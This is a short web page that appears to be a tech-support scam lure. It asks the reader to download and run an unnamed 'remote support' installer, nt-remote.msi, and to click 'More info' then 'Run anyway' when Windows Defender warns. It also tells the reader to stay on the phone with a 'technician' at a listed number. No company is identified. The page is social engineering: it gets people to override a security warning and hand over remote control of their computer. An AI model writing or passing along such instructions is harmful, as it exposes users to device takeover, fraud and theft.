Remote Support Access

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Remote Support Tool

Download and run the tool to connect with our technician

File: nt-remote.msi Platform: Windows

Installation Instructions

  1. 1
    Download the File

    Click the green download button above to save nt-remote.msi to your computer.

  2. 2
    Run the Installer

    Double-click the downloaded file. If prompted by Windows Defender, click "More info" then "Run anyway".

  3. 3
    Follow Installation Wizard

    Click "Next" through the installation prompts and wait for the install to complete.

  4. 4
    Stay on the Phone

    Keep your phone call connected. Our technician will guide you through the rest of the process.

Having trouble? Our technician is ready to help:

(704) 979-4040